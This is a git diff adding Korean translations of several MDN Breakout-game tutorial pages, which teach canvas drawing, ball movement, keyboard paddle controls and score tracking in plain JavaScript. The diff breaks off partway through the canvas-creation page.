diff --git a/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/paddle_and_keyboard_controls/index.html b/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/paddle_and_keyboard_controls/index.html
new file mode 100644
index 0000000000..47cde1be4e
--- /dev/null
+++ b/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/paddle_and_keyboard_controls/index.html
@@ -0,0 +1,122 @@
+---
+title: Paddle과 키보드 컨트롤
+slug: Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Paddle_and_keyboard_controls
+translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls
+---
+<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/ko/docs/Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/")}}</div>
+
+<p>{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Bounce_off_the_walls", "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Game_over")}}</p>
+
+<div class="summary">
+<p>이 글은 <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">Gamedev Canvas tutorial</a>의 10단계 중 4단계 입니다. 이 글을 다 읽고 난 뒤 완성된 소스코드는 <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson04.html">Gamedev-Canvas-workshop/lesson4.html</a> 에서 확인할 수 있습니다.</p>
+</div>
+
+<p>공이 계속해서 벽을 튕기며 이동하는 모습을 볼 수 있지만, 현재로서는 그것을 컨트롤 할 방법이 없습니다. 컨트롤 할 수 없으면 게임이 아니죠! paddle을 컨트롤 할 수 있는 몇가지 상호작용을 추가해 봅시다.</p>
+
+<p><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 40px;"><strong>공을 치기 위한 paddle 정의</strong></span></font></p>
+
+<p>먼저, 우리는 공을 치기 위한 paddle이 필요합니다. 이를 위해 몇가지 변수들을 정의합시다. 코드 상단에 다른 변수들과 함께 아래 변수들을 추가하세요:</p>
+
+<pre class="brush: js">var paddleHeight = 10;
+var paddleWidth = 75;
+var paddleX = (canvas.width-paddleWidth)/2;</pre>
+
+<p>여기에서 paddle의 높이와 너비, 그리고  <code>x</code> 축 위에 시작 지점을 정의합니다. paddle을 스크린에 그리는 함수를 만듭시다. <code>drawBall()</code> 함수 아래에 다음 코드를 추가하세요:</p>
+
+<pre class="brush: js">function drawPaddle() {
+    ctx.beginPath();
+    ctx.rect(paddleX, canvas.height-paddleHeight, paddleWidth, paddleHeight);
+    ctx.fillStyle = "#0095DD";
+    ctx.fill();
+    ctx.closePath();
+}</pre>
+
+<p><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 40px;"><strong>유저의 paddle 컨트롤</strong></span></font></p>
+
+<p>paddle은 우리가 원하는 곳 어디든 그릴 수 있지만, 사용자의 컨트롤에 반응해야 합니다. — 키보드 컨트롤을 구현합시다. 다음 내용이 필요합니다.:</p>
+
+<ul>
+ <li>왼쪽 혹은 오른쪽 컨트롤 버튼이 눌렸는지 확인하는 두개의 변수</li>
+ <li><code>keydown</code> 과 <code>keyup</code> 이벤트 리스너 — 버튼이 눌렸을 때 paddle의 움직임을 조종할 수 있는 코드가 실행되어야 합니다.</li>
+ <li>버튼이 눌렸을 때  <code>keydown</code> 과 <code>keyup</code> 이벤트를 핸들링하는 두개의 함수</li>
+ <li>paddle이 왼쪽 혹은 오른쪽으로 움직이는 기능</li>
+</ul>
+
+<p>버튼을 누르는 것은 boolean 변수로 정의하고 초기화 합니다. 아래 코드를 변수 선언 부분에 추가하세요. :</p>
+
+<pre class="brush: js">var rightPressed = false;
+var leftPressed = false;</pre>
+
+<p>처음에는 컨트롤 버튼이 눌려지지 않은 상태이므로 두개의 기본값은 false 입니다. 키가 눌렸음을 인식하기 위해, 이벤트 리스너를 설정합니다. 자바스크립트 하단에 <code>setInterval()</code> 바로 위에 아래 코드를 추가합니다.:</p>
+
+<pre class="brush: js">document.addEventListener("keydown", keyDownHandler, false);
+document.addEventListener("keyup", keyUpHandler, false);</pre>
+
+<p>키보드 중 어떤 키 하나가 눌려서 <code>keydown</code> 이벤트가 발생하면, <code>keyDownHandler()</code> 함수가 실행됩니다. 두번째 리스너에도 같은 패턴이 적용됩니다: 키에서 손을 때면 <code>keyup</code> 이벤트가 <code>keyUpHandler()</code> 함수를 실행합니다 . <code>addEventListener()</code> 아래에 다음 코드를 추가하세요:</p>
+
+<pre class="brush: js">function keyDownHandler(e) {
+    if(e.keyCode == 39) {
+        rightPressed = true;
+    }
+    else if(e.keyCode == 37) {
+        leftPressed = true;
+    }
+}
+
+function keyUpHandler(e) {
+    if(e.keyCode == 39) {
+        rightPressed = false;
+    }
+    else if(e.keyCode == 37) {
+        leftPressed = false;
+    }
+}</pre>
+
+<p>키를 누르면 변수에 정보가 저장됩니다. 각 경우에 관련된 변수가 <code>true</code> 로 설정됩니다. 키에서 손을 때면, 변수값은 <code>false</code>로 되돌아갑니다.</p>
+
+<p>두 함수 모두 e 변수로 표시되는 이벤트를 파라미터로 사용합니다. 이것으로 유용한 정보를 얻을 수 있습니다: <code>keyCode</code> 는 눌려진 키에 대한 정보를 가지고 있습니다. 예를 들어 키 코드 37 은 왼쪽 방향키이고 39 는 오른쪽 방향키 입니다. 만약에 왼쪽 방향키를 누르면, <code>leftPressed</code> 변수가 <code>true</code> 로 설정되고, 왼쪽 방향키에서 손을 때면 <code>leftPressed</code> 변수가 <code>false</code>로 설정됩니다. 오른쪽 방향키와 <code>rightPressed</code> 변수에도 동일한 패턴이 적용됩니다.</p>
+
+<h3 id="Paddle_이동_로직">Paddle 이동 로직</h3>
+
+<p>이제 우리는 눌려진 키, 이벤트 리스너, 관련된 함수에 대한 정보를 저장할 변수를 가지고 있습니다. 이제 실제 코드를 사용하여 이것들을 사용하고 paddle을 화면에서 움직여봅시다. <code>draw()</code> 함수에서, 각각의 프레임이 렌더링 될때마다 왼쪽이나 오른쪽 방향키가 눌려졌는지 확인합니다. 코드는 아래와 같습니다:</p>
+
+<pre class="brush: js">if(rightPressed) {
+    paddleX += 7;
+}
+else if(leftPressed) {
+    paddleX -= 7;
+}</pre>
+
+<p>만약 왼쪽 방향키를 누르면, paddle은 좌측으로 7픽셀 움직이고, 오른쪽 방향키를 누르면, 우측으로 7픽셀 움직입니다. 잘 작동하지만, 키를 너무 오래 누르고 있으면 paddle이 캔버스 밖으로 사라집니다. 아래처럼 코드를 수정해서 paddle이 캔버스 안에서만 움직이도록 개선합니다:</p>
+
+<pre class="brush: js">if(rightPressed &amp;&amp; paddleX &lt; canvas.width-paddleWidth) {
+    paddleX += 7;
+}
+else if(leftPressed &amp;&amp; paddleX &gt; 0) {
+    paddleX -= 7;
+}</pre>
+
+<p><code>paddleX</code> 의 위치는 캔버스 왼쪽 끝 <code>0</code> 위치와 오른쪽 <code>canvas.width-paddleWidth</code> 에서 움직입니다.</p>
+
+<p>위의 코드를 <code>draw()</code> 함수 아래쪽에 추가합니다.</p>
+
+<p>이제 paddle이 화면에서 실제로 그려지도록 <code>draw()</code> 함수 안에서 <code>drawPaddle()</code> 을 호출합니다.  <code>draw()</code> 함수 안에  <code>drawBall()</code> 아래에 다음 코드를 추가합니다:</p>
+
+<pre class="brush: js">drawPaddle();
+</pre>
+
+<h2 id="여러분의_코드와_비교해보세요">여러분의 코드와 비교해보세요</h2>
+
+<p>여기 움직이는 코드를 확인해보세요:</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/tgn3zscj/","","395")}}</p>
+
+<div class="note">
+<p><strong>Exercise</strong>: paddle의 움직임을 빠르거나 느리게, 혹은 사이즈를 변경해보세요.</p>
+</div>
+
+<h2 id="다음_단계">다음 단계</h2>
+
+<p>게임과 비슷해지긴 했지만 한가지 문제는 게임이 끝나지 않는다는 것입니다. 5단계에서 <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Game_over">Game over</a>를 추가할 것입니다.</p>
+
+<p>{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Bounce_off_the_walls", "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Game_over")}}</p>
diff --git a/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/track_the_score_and_win/index.html b/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/track_the_score_and_win/index.html
new file mode 100644
index 0000000000..76883a1655
--- /dev/null
+++ b/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/track_the_score_and_win/index.html
@@ -0,0 +1,100 @@
+---
+title: Track the score and win
+slug: Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Track_the_score_and_win
+tags:
+  - Canvas
+  - Games
+  - JavaScript
+translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Collision_detection", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls")}}</p>
+
+<div class="summary">
+<p>이번 단계는  <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">Gamedev Canvas tutorial</a> 의 8번째 단계입니다.  <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson08.html">Gamedev-Canvas-workshop/lesson8.html</a> 에서 이번 단계의 소스 코드를 확인할 수 있습니다.</p>
+</div>
+
+<p><span class="seoSummary">벽돌 깨기 기능은 잘 작동한다. 하지만 더 나은 게임이 되기 위해서, 유저가 벽돌을 깰 때마다 점수를 얻고, 그 점수를 기록하는 Score 기능을 만든다.</span></p>
+
+<h2 id="점수_계산하기">점수 계산하기</h2>
+
+<p>게임 안에 점수 기능이 있다면, 친구들이 더 좋아할 것이다. 그러기 위해서는 점수를 기록할 변수가 필요합니다. 작성중인 JS파일의 변수 영역의 하단에, 아래 코드를 추가하자.</p>
+
+<pre class="brush: js">var score = 0;</pre>
+
+<p>점수 화면을 만들고, 업데이트를 하기 위해서 <code>drawScore()</code> 함수가 필요하다. 아래 코드를 <code>collisionDetection()</code> 함수 아래에 추가하자.</p>
+
+<pre class="brush: js">function drawScore() {
+    ctx.font = "16px Arial";
+    ctx.fillStyle = "#0095DD";
+    ctx.fillText("Score: "+score, 8, 20);
+}</pre>
+
+<p>텍스트를 캔버스 안에 그리는 것은 도형을 그리는 작업과 비슷하다. 폰트를 정의하는 것은 CSS에서의 작업과 같다. — {{domxref("CanvasRenderingContext2D.font","font()")}} 함수에서 크기와 타입을 설정할 수 있다. <font><font>그런 다음 </font></font>{{domxref("CanvasRenderingContext2D.fillStyle()","fillStyle()")}} 함수를 사용하여 <font><font>글꼴의 색상을 설정하고 </font></font>{{domxref("CanvasRenderingContext2D.fillText","fillText()")}} 함수를 이용해서 <font><font>캔버스에 배치 될 실제 텍스트와 배치 위치를 설정하는 데 사용한다. </font><font>첫 번째 매개 변수는 텍스트 자체다. 위의 코드는 현재 점의 수를 나타내며 마지막 두 매개 변수는 텍스트가 캔버스에 배치 될 좌표이다.</font></font></p>
+
+<p>벽돌이 깨질 때마다 점수 변수의 값을 증가 시키기 위해서 <code>collisionDetection()</code> 함수에 강조 표시된 코드를 입력하여 수정한다.</p>
+
+<pre class="brush: js; highlight:[9]">function collisionDetection() {
+    for(var c=0; c&lt;brickColumnCount; c++) {
+        for(var r=0; r&lt;brickRowCount; r++) {
+            var b = bricks[c][r];
+            if(b.status == 1) {
+                if(x &gt; b.x &amp;&amp; x &lt; b.x+brickWidth &amp;&amp; y &gt; b.y &amp;&amp; y &lt; b.y+brickHeight) {
+                    dy = -dy;
+                    b.status = 0;
+                    score++;
+                }
+            }
+        }
+    }
+}</pre>
+
+<p><code>draw()</code> 함수 안에서 위 함수를 호출하면 호출 될 때마다 다시 그리기 때문에 점수 변동을 확인할 수 있다. <code>draw()</code> 아래 코드를  <code>drawPaddle()</code> 아래에서 호출한다.</p>
+
+<pre class="brush: js">drawScore();</pre>
+
+<h2 id="모든_벽돌이_파괴되었을_때_승리_메시지_표시"><font><font>모든 벽돌이 파괴되었을 때 승리 메시지 표시</font></font></h2>
+
+<p><font><font>점수가 오르는 것은 좋지만, 평생 점수가 올라가진 않을 것이다. 모든 벽돌의 파괴가 </font><font>결국 게임의 주된 목적이기 때문에 모든 점수를 얻는다면  승리 메시지를 표시해야한다.  </font></font><code>collisionDetection()</code><font><font>함수에 강조된 코드를 붙여넣는다.</font></font></p>
+
+<pre class="brush: js; highlight:[10,11,12,13]">function collisionDetection() {
+    for(var c=0; c&lt;brickColumnCount; c++) {
+        for(var r=0; r&lt;brickRowCount; r++) {
+            var b = bricks[c][r];
+            if(b.status == 1) {
+                if(x &gt; b.x &amp;&amp; x &lt; b.x+brickWidth &amp;&amp; y &gt; b.y &amp;&amp; y &lt; b.y+brickHeight) {
+                    dy = -dy;
+                    b.status = 0;
+                    score++;
+                    if(score == brickRowCount*brickColumnCount) {
+                        alert("YOU WIN, CONGRATULATIONS!");
+                        document.location.reload();
+                    }
+                }
+            }
+        }
+    }
+}</pre>
+
+<p><font><font>결국 사용자는 모든 벽돌을 파괴 한 순간, 실제로 게임에서 승리 할 수 ​​있다. 이는 게임과 관련하여 굉장히 중요하다.</font><font> </font></font><code>document.location.reload()</code><font><font>기능은 페이지를 다시로드하고 경고를 클릭하면 게임을 다시 시작한다.</font></font></p>
+
+<h2 id="코드_비교"><font><font>코드 비교</font></font></h2>
+
+<p><font><font>최종 코드는 아래와 같다. 지금까지 작성한 코드와 비교해보자.</font></font></p>
+
+<p> </p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/yumetodo/2m74vr9r/1/","","395")}}</p>
+
+<div class="note">
+<p><strong>추가학습</strong>: 벽돌을 깰 때마다 얻는 점수를 늘리고,  게임 클리어 시 최종 점수를 경고창에 표시해보자.</p>
+</div>
+
+<h2 id="다음_단계">다음 단계</h2>
+
+<p>게임은 현재 꽤 멋지게 보인다. 다음 단계에서는,  <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Mouse_controls">Mouse controls (마우스로 패들 조종하는 방법)</a> 을 통해서 게임을 즐길 수 있습니다.</p>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Collision_detection", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls")}}</p>
diff --git a/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/공_움직이기/index.html b/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/공_움직이기/index.html
new file mode 100644
index 0000000000..5a8b02904e
--- /dev/null
+++ b/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/공_움직이기/index.html
@@ -0,0 +1,145 @@
+---
+title: 공 움직이기
+slug: Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/공_움직이기
+tags:
+  - 2D
+  - 게임
+  - 루프
+  - 비기너
+  - 움직임
+  - 자바스크립트
+  - 캔버스
+  - 튜토리얼
+translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Move_the_ball
+---
+<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/ko/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/캔버스_생성과_그리기", "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Bounce_off_the_walls")}}</p>
+
+<div class="summary">
+<p>이 강의는 <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">게임 개발 캔버스 튜토리얼</a>의 10단계 중 두 번째 과정입니다.  <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson02.html">Gamedev-Canvas-workshop/lesson2.html</a>에서 이 강의의 완성된 코드를 볼 수 있습니다.</p>
+</div>
+
+<p><span class="seoSummary">여러분은 이전 과정에서 어떻게 공이 그려지는지 배웠습니다. 이젠 공을 움직이게 만들어보죠! 기술적으로는 화면에 공을 그렸다가 지우는 과정을 반복하게 되는데, 매 프레임마다 공의 위치를 조금씩 다르게 해서 그리면 공이 움직이는것 처럼 보이게 됩니다. 마치 영화 화면이 움직이는 방식처럼 말이죠!</span></p>
+
+<h2 id="드로잉_루프를_정의하기">드로잉 루프를 정의하기</h2>
+
+<p>매 프레임마다 캔버스에 그리는것을 지속적으로 갱신하기 위해서는, 계속해서 그리는 것을 반복하게 만들어주는 함수가 필요합니다. 이 함수는 매 프레임마다 위치를 바꿔주기 위한 몇가지 변수들을 포함합니다.  JavaScript 타이밍 함수인 {{domxref("WindowTimers.setInterval()", "setInterval()")}}나 {{domxref("window.requestAnimationFrame()", "requestAnimationFrame()")}}를 이용하면 함수를 몇번이고 계속 반복해서 실행할 수 있습니다..</p>
+
+<p>현재 여러분의 HTML파일 안에 있는 JavaScript중에 처음 두 줄만 제외하고 나머지는 모두 지워주세요. 지운 후에는 아래에 있는 코드를 추가해주세요. <code>draw()</code>함수는 <code>setInterval</code>를 통해서 10밀리초마다 실행됩니다.</p>
+
+<pre class="brush: js">function draw() {
+    // drawing code
+}
+setInterval(draw, 10);</pre>
+
+<p>무한히 작동하는 <code>setInterval</code> 함수 덕에, <code>draw()</code> 함수는 우리가 멈추기 전 까지 10밀리초마다 영원히 호출됩니다. 이제 공을 그려봅시다! 다음 코드를 여러분의 <code>draw()</code> 함수 안에 추가해주세요.</p>
+
+<pre class="brush: js">ctx.beginPath();
+ctx.arc(50, 50, 10, 0, Math.PI*2);
+ctx.fillStyle = "#0095DD";
+ctx.fill();
+ctx.closePath();
+</pre>
+
+<p>이제 바뀐 코드를 실행해 보세요. 공은 매 프레임마다 다시 그려지게 됩니다.</p>
+
+<h2 id="움직이게_만들기">움직이게 만들기</h2>
+
+<p>공이 움직이지 않고 있기 때문에, 여러분은 공이 다시 그려지고 있다는 사실을 알아챌 수 는 없었을 것입니다. 이제 공을 움직이게 바꿔봅시다. 첫 번째로, (50,50)이라는 지정된 좌표 대신에, x와 y라는 변수를 이용해서 화면 하단 중앙에서 그려지도록 하겠습니다. </p>
+
+<p>x와 y를 정의하기 위해서 다음 두 줄을 여러분의 <code>draw()</code> 함수위에 추가해주세요.</p>
+
+<pre class="brush: js">var x = canvas.width/2;
+var y = canvas.height-30;
+</pre>
+
+<p>그 다음에는 <code>draw()</code> 함수를 갱신할 것입니다. 아래 코드에서 강조된 줄에서 처럼, {{domxref("CanvasRenderingContext2D.arc()","arc()")}}메소드안에서 x와 y 변수를 사용하게 됩니다.</p>
+
+<pre class="brush: js; highlight:[3]">function draw() {
+    ctx.beginPath();
+    ctx.arc(x, y, 10, 0, Math.PI*2);
+    ctx.fillStyle = "#0095DD";
+    ctx.fill();
+    ctx.closePath();
+}
+</pre>
+
+<p>이제 중요한 부분입니다. 공을 움직이는 것을 표현하기 위해 x와 y에 작은 값을 매 프레임마다 더해줄 것입니다. 그 작은 값을 dx와 dy라 정의하고, 각각 2와 -2로 그 값을 정해보겠습니다. 다음 코드를 여러분의 x와 y변수가 정의된 코드 아래에 추가하세요.</p>
+
+<pre class="brush: js">var dx = 2;
+var dy = -2;
+</pre>
+
+<p>마지막으로 할 일은 dx와 dy변수를 이용해서 매 프레임마다 x와 y변수를 갱신해 주는 것입니다. 그렇게 하면 매 갱신마다 공은 새 위치에 그려지게 됩니다. 다음 코드에 표시된 새로운 두 줄의 코드를 여러분의 <code>draw()</code> 함수에 추가해주세요.</p>
+
+<pre class="brush: js; highlight:[7,8]">function draw() {
+    ctx.beginPath();
+    ctx.arc(x, y, 10, 0, Math.PI*2);
+    ctx.fillStyle = "#0095DD";
+    ctx.fill();
+    ctx.closePath();
+    x += dx;
+    y += dy;
+}</pre>
+
+<p>여러분의 코드를 다시 저장하고, 브라우저를 열어 실행해보세요. 공은 잘 움직이는군요. 뒤에 흔적이 남기는 하지만 말이죠.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10430/ball-trail.png" style="display: block; height: 320px; margin: 0px auto; width: 480px;"></p>
+
+<h2 id="다음_프레임_전에_캔버스를_지우기">다음 프레임 전에 캔버스를 지우기</h2>
+
+<p>공이 흔적을 남기는 것은, 매 프레임마다 공을 그릴 때 이전 프레임을 지워주지 않았기 때문입니다. 하지만 걱정할 것은 없습니다. 캔버스의 내용들을 지워주기 위한 메소드인 {{domxref("CanvasRenderingContext2D.clearRect()","clearRect()")}}가 있으니까요. 이 메소드는 네 개의 파라미터가 필요합니다. 직사각형의 좌상단 모서리를 표시할 x와 y좌표, 그리고 직사각형의 우하단 모서리를 표시할 x와 y좌표가 바로 그것이죠. 이 좌표들로 생기는 사각형 안에 있는 것들은 전부 지워지게 될 것입니다.</p>
+
+<p>다음 코드에서 강조된 새로운 한줄의 코드를 <code>draw()</code> 함수에 추가하세요.</p>
+
+<pre class="brush: js; highlight:[2]">function draw() {
+    ctx.clearRect(0, 0, canvas.width, canvas.height);
+    ctx.beginPath();
+    ctx.arc(x, y, 10, 0, Math.PI*2);
+    ctx.fillStyle = "#0095DD";
+    ctx.fill();
+    ctx.closePath();
+    x += dx;
+    y += dy;
+}
+</pre>
+
+<p>여러분의 코드를 저장하고, 다시 실행해보세요. 이번에는 흔적없이 공이 움직이는 것을 보실 수 있을 것입니다. 매 10밀리초마다 캔버스는 지워지고, 새로운 x와 y값의 좌표를 가지는 공이 다음 프레임에 그려지게 되는 것이죠.</p>
+
+<h2 id="코드_정리하기">코드 정리하기</h2>
+
+<p>다음 강좌에서도 계속해서 몇가지 명령들을 <code>draw()</code> 함수에다 추가해야 합니다. 그렇기 때문에 코드를 최대한 간단하고 깨끗하게 유지하는 것이 좋습니다. 공을 움직이는 코드를 분리된 함수로 옮기는 것 부터 시작해보죠!</p>
+
+<p>현재의 draw() 함수를 다음의 분리된 두 함수로 바꿔주세요.</p>
+
+<pre class="brush: js">function drawBall() {
+    ctx.beginPath();
+    ctx.arc(x, y, 10, 0, Math.PI*2);
+    ctx.fillStyle = "#0095DD";
+    ctx.fill();
+    ctx.closePath();
+}
+
+function draw() {
+    ctx.clearRect(0, 0, canvas.width, canvas.height);
+    drawBall();
+    x += dx;
+    y += dy;
+}</pre>
+
+<h2 id="여러분의_코드와_비교해보세요">여러분의 코드와 비교해보세요</h2>
+
+<p>아래의 라이브 데모에서 이 강의의 완성된 코드를 확인할 수 있습니다. 어떻게 작동하는지 더 잘 이해하기 위해 플레이 해보세요.</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/3x5foxb1/","","415")}}</p>
+
+<div class="summary">
+<p>연습해보기: 움직이는 공의 속도를 바꾸거나, 움직이는 방향을 바꿔보세요.</p>
+</div>
+
+<h2 id="다음_단계로">다음 단계로</h2>
+
+<p>우리는 공을 그리고 움직이게 만들었지만, 캔버스 모서리 밖으로 사라져버립니다. 세 번째 챕터에서는 공이 <a href="/ko/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/Bounce_off_the_walls">벽으로부터 튕겨 나오기</a> 위한 방법을 알아볼 것입니다.</p>
+
+<p>{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/캔버스_생성과_그리기", "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/Bounce_off_the_walls")}}</p>
diff --git a/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/캔버스_생성과_그리기/index.html b/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/캔버스_생성과_그리기/index.html
new file mode 100644
index 0000000000..a7f1ed4130
--- /dev/null
+++ b/files/ko/games/tutorials/순수한_자바스크립트를_이용한_2d_벽돌깨기_게임/캔버스_생성과_그리기/index.html
@@ -0,0 +1,114 @@
+---
+title: 캔버스 생성과 그리기
+slug: Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/캔버스_생성과_그리기
+tags:
+  - 2D
+  - 게임
+  - 비기너
+  - 자바스크립트
+  - 캔버스
+  - 튜토리얼
+translation_of: >-
+  Games/Tutorials/2D_Breakout_game_pure_JavaScript/Create_the_Canvas_and_draw_on_it
+---
+<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/ko/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임", "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/공_움직이기")}}</p>
+
+<div class="summary">
+<p>이 강의는 <a href="https://developer.mozilla.org/ko/docs/Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임">게임 개발 캔버스 튜토리얼</a>의 10단계 중 첫 번째 과정입니다. <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson01.html">Gamedev-Canvas-workshop/lesson1.html</a>에서 이 강의의 완성된 코드를 볼 수 있습니다.</p>
+</div>
+
+<p><span class="seoSummary">게임의 기능들을 작성하기 전에, 게임 내부에 렌더링 하기 위한 기본 구조들을 HTML과 {{htmlelement("canvas")}} 엘리먼트를 사용하여 만들어야 합니다.</span></p>
+
+<h2 id="게임의_HTML">게임의 HTML</h2>
+
+<p>HTML문서 구조는 꽤 간단합니다. 게임은 {{htmlelement("canvas")}} 엘리먼트에 렌더링됩니다. 여러분이 좋아하는 텍스트 에디터로 새로운 HTML 문서를 생성하여 index.html로 저장하고, 아래 코드를 추가하세요.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;meta charset="utf-8" /&gt;
+    &lt;title&gt;Gamedev Canvas Workshop&lt;/title&gt;
+    &lt;style&gt;
+    	* { padding: 0; margin: 0; }
+    	canvas { background: #eee; display: block; margin: 0 auto; }
+    &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;canvas id="myCanvas" width="480" height="320"&gt;&lt;/canvas&gt;
+
+&lt;script&gt;
+	// JavaScript 코드가 여기에 들어갈 것입니다.
+&lt;/script&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>{{htmlelement("head")}} 에는 문자셋이 정의되어 있고, {{htmlelement("title")}}과 몇가지 기본적인 CSS가 있습니다. {{htmlelement("body")}}는 {{htmlelement("canvas")}} 와 {{htmlelement("script")}}를 포함하고 있습니다. {{htmlelement("canvas")}}에는 게임이 렌더되고, {{htmlelement("script")}}에는 JavaScript가 들어갑니다. {{htmlelement("canvas")}}엘리먼트는 쉽게 참조하기 위해 id로 <code>myCanvas</code>를 갖고 있고, 480픽셀의 길이와 320픽셀의 높이를 갖도록 되어있습니다. 우리가 이 튜토리얼에서 작성하게될 모든 JavaScript 코드는 <code>&lt;script&gt;</code>와  <code>&lt;/script&gt;</code> 태그 사이에 들어가게 됩니다.</p>
+
+<h2 id="캔버스_기본">캔버스 기본</h2>
+
+<p>실제로 {{htmlelement("canvas")}}엘리먼트 위에 그래픽을 렌더링하기 위해서는 JavaScript로 참조할 수 있게 만들어야 합니다. 다음 코드를 여러분의 <code>&lt;script&gt;</code> 태그 다음에 추가하세요..</p>
+
+<pre class="brush: js">var canvas = document.getElementById("myCanvas");
+var ctx = canvas.getContext("2d");</pre>
+
+<p>{{htmlelement("canvas")}} 엘리먼트에 대한 참조를 <code>canvas</code> 변수에 저장하였습니다. 그러고 나서는 캔버스에 그리기 위해 실질적으로 사용되는 도구인 2D rendering context를 <code>ctx</code> 변수에 저장하고 있습니다.</p>
+
+<p>캔버스에 빨간색 네모를 그리는 짧은 예제 코드를 작성해봅시다. 바로 직전의 JavaScript 코드 아래에 다음 코드를 추가하고 <code>index.html을</code> 브라우저에서 열어 보세요.</p>
+
+<pre class="brush: js">ctx.beginPath();
+ctx.rect(20, 40, 50, 50);
+ctx.fillStyle = "#FF0000";
+ctx.fill();
+ctx.closePath();</pre>
+
+<p>{{domxref("CanvasRenderingContext2D.beginPath()","beginPath()")}}와 {{domxref("CanvasRenderingContext2D.closePath()","closePath()")}}메소드 사이에 모든 명령어가 들어갑니다. 우리는 {{domxref("CanvasRenderingContext2D.rect()","rect()")}}를 이용해서 직사각형을 정의했는데, 처음 두 값들은 캔버스의 좌상단 모서리로 부터의 좌표를 의미하고, 나머지 두 값은 직사각형의 너비와 높이를 의미합니다. 위 코드에서 직사각형은 캔버스 좌측에서 20픽셀 떨어져있고, 캔버스 상단에서 40픽셀만큼 아래로 떨어져 있습니다. 그리고 너비와 높이는 각각 50픽셀로 설정되어 완벽한 정사각형으로 그려지고 있습니다. {{domxref("CanvasRenderingContext2D.fillStyle","fillStyle")}}은  {{domxref("CanvasRenderingContext2D.fill()","fill()")}}메소드에서 칠해질 색상 값을 갖게 됩니다. 위 코드에서는 사각형을 빨간색으로 칠하고 있습니다.</p>
+
+<p>직사각형만 그릴 수 있는 것은 아닙니다. 이번에는 초록색 원을 그려보겠습니다. 아래의 코드를 여러분의 JavaScript의 마지막에 추가하고, 저장한 이후에 페이지를 새로고침 해보세요.</p>
+
+<pre class="brush: js">ctx.beginPath();
+ctx.arc(240, 160, 20, 0, Math.PI*2, false);
+ctx.fillStyle = "green";
+ctx.fill();
+ctx.closePath();</pre>
+
